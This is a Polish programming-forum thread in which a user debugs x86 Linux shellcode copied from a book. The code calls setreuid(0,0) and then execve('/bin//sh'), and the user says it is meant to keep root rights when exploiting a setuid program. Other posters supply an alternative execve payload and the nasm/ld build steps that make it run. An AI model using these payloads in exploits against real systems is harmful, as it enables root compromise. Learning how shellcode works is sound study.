Pokaż wyniki 1 do 10 z 10

Temat: Shellcode nie działa

  1. #1
    Zarejestrowany
    Jul 2008
    Skąd
    Za twoimi plecami
    Postów
    351

    Domyślnie Shellcode nie działa

    Mam takiego shellcode'a:
    Kod:
    BITS 32
    
    push byte 70
    pop eax
    xor ebx, ebx
    xor ecx, ecx
    int 0x80
    push ecx
    push 0x68732f2f
    push 0x6e69622f
    mov eax, esp
    push ecx
    push ebx
    mov ecx, esp
    cdq
    mov al, 11
    int 0x80
    Następnie:
    [ormi@localhost asm]$ nasm tinyshell.asm
    [ormi@localhost asm]$ chmod +x tinyshell
    [ormi@localhost asm]$ ./tinyshell
    ./tinyshell: line 1: jFX1�1�̀Qh//shh/bin��QS�ᙰ
    ̀: Nie ma takiego pliku ani katalogu

    Czemu to nie działa?

  2. #2
    Zarejestrowany
    Apr 2008
    Postów
    348

    Domyślnie

    struktura dokumentu nasm wygląda nieco inaczej...po co wykonujesz to pierwsze przerwanie- przecież nie ma nic w rejestrze eax( zadna funkcja sie nie wywołuje)...przy drugim int znajduje sie numer 11 wiec jest to execve...oto przykład tylko przed włączeniem dobrze oprw w dokument nasm:
    push %eax
    dec %ebx
    add (%esp),%eax
    push $0xb
    pop %eax
    cltd
    push %edx
    push $0x68732f2f
    push $0x6e69622f
    mov %esp,%ebx
    push %edx
    push %ebx
    mov %esp,%ecx
    int $0x80

    i dopiero tu masz execve wywołane poprawnie jesli nie pomyliłem nic(dawno pisałem w assemblerze)

    a co do oprawy to wejdz sobie na jakis kurs nasma i tylko dodaj co tam trzeba

  3. #3
    Zarejestrowany
    Jul 2008
    Skąd
    Za twoimi plecami
    Postów
    351

    Domyślnie

    Pierwsze przerwanie systemowe to wywołanie funkcji setreuid(0, 0). Po co? Żeby przy wykorzystywaniu błedu w aplikacji z bitem suid była pewność co do tego, że przy powloka zostanie uruchomiona na prawach roota
    Jak to w eax nic nie ma? Kładę na stos wartość 70, a następnie zdejmuję ją do rejestru eax...
    Ostatnio edytowane przez Ormi : 07-18-2008 - 17:17

  4. #4
    Zarejestrowany
    Apr 2008
    Postów
    348

    Domyślnie

    sorki...dawno programowałem- na początku wydało mi sie to bezcelowe...ale miałem racje ze struktura dokumentu wygląda zle

  5. #5
    Zarejestrowany
    Jul 2008
    Skąd
    Za twoimi plecami
    Postów
    351

    Domyślnie

    Jedno mi się tylko nie podoba. Ten kod powinien działać! Jest linijka po linijce zerżnięty z książki... Więc nie wiem co i czemu jest nie tak...

  6. #6
    Zarejestrowany
    May 2008
    Postów
    534

    Domyślnie

    skompiluj to fasmem.

  7. #7
    Zarejestrowany
    Sep 2007
    Skąd
    Różne zakątki sieci.
    Postów
    995

    Domyślnie

    Nie podałeś systemu, ale strzelam że to któryś z unixów.

    nasm -f elf plik.asm
    ld -o plik plik.o
    ./plik

    Kod assemblerowy tłumaczy się ale nie linkuje, dlatego musisz użyć linkera (ld). Później wywołujesz program.
    http://nikowek.blogspot.com/
    Zbrojne Ramię Pingwina!
    -----BEGIN GEEK CODE BLOCK-----
    Version: 3.12
    GCS d- s++:++ a--- C+++ UL+++ P L+++ E--- W++ N++ o K- w--
    O M- V- PS PE Y PGP++ t+ 5 X+ R tv- b++ DI- D-
    G+ e- h! r% y?
    ------END GEEK CODE BLOCK------

  8. #8
    Zarejestrowany
    Jul 2008
    Skąd
    Za twoimi plecami
    Postów
    351

    Domyślnie

    System - Fedora 9. To co podałeś nic nie zmienia. Wyskakuje ten sam błąd co wcześniej...

  9. #9
    Zarejestrowany
    Sep 2007
    Skąd
    Różne zakątki sieci.
    Postów
    995

    Domyślnie

    nikow@NikowHost:~/Desktop$ nasm -f elf test.asm
    nikow@NikowHost:~/Desktop$ ld -o test test.o
    nikow@NikowHost:~/Desktop$ ./test
    nikow@NikowHost:~/Desktop$ cat test.asm
    BITS 32
    ;by linker wiedzial co podlinkowac
    global _start
    _start:
    ;twoj kod
    push byte 70
    pop eax
    xor ebx, ebx
    xor ecx, ecx
    int 0x80
    push ecx
    push 0x68732f2f
    push 0x6e69622f
    mov eax, esp
    push ecx
    push ebx
    mov ecx, esp
    cdq
    mov al, 11
    int 0x80
    ;dla poprawnego zakonczenia
    mov eax, 1
    xor ebx, ebx
    int 0x80
    System Debian Lenny GNU/Linux 2.6.25-2-686.
    http://nikowek.blogspot.com/
    Zbrojne Ramię Pingwina!
    -----BEGIN GEEK CODE BLOCK-----
    Version: 3.12
    GCS d- s++:++ a--- C+++ UL+++ P L+++ E--- W++ N++ o K- w--
    O M- V- PS PE Y PGP++ t+ 5 X+ R tv- b++ DI- D-
    G+ e- h! r% y?
    ------END GEEK CODE BLOCK------

  10. #10
    Zarejestrowany
    Jul 2008
    Skąd
    Za twoimi plecami
    Postów
    351

    Domyślnie

    Już działa! Wielkie dzięki
    Ostatnio edytowane przez Ormi : 07-23-2008 - 07:31

Podobne wątki

  1. Odpowiedzi: 6
    Autor: 01-31-2009, 00:34
  2. Dlaczego nie działa??
    By Achilles1991 in forum PHP/CGI/ASP/JSP/J2EE
    Odpowiedzi: 2
    Autor: 11-25-2007, 07:19
  3. Nie działa strona internetowa
    By Piter in forum HTML/DHTML/XHTML
    Odpowiedzi: 1
    Autor: 08-05-2007, 18:16
  4. Jak wgrać mape...kod jest wszystko jest a nie działa
    By olixon in forum Systemy radiokomunikacyjne
    Odpowiedzi: 3
    Autor: 07-11-2007, 06:52
  5. Mój kod nie działa.Why?:(
    By fedor in forum Linux
    Odpowiedzi: 2
    Autor: 06-07-2007, 15:02

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj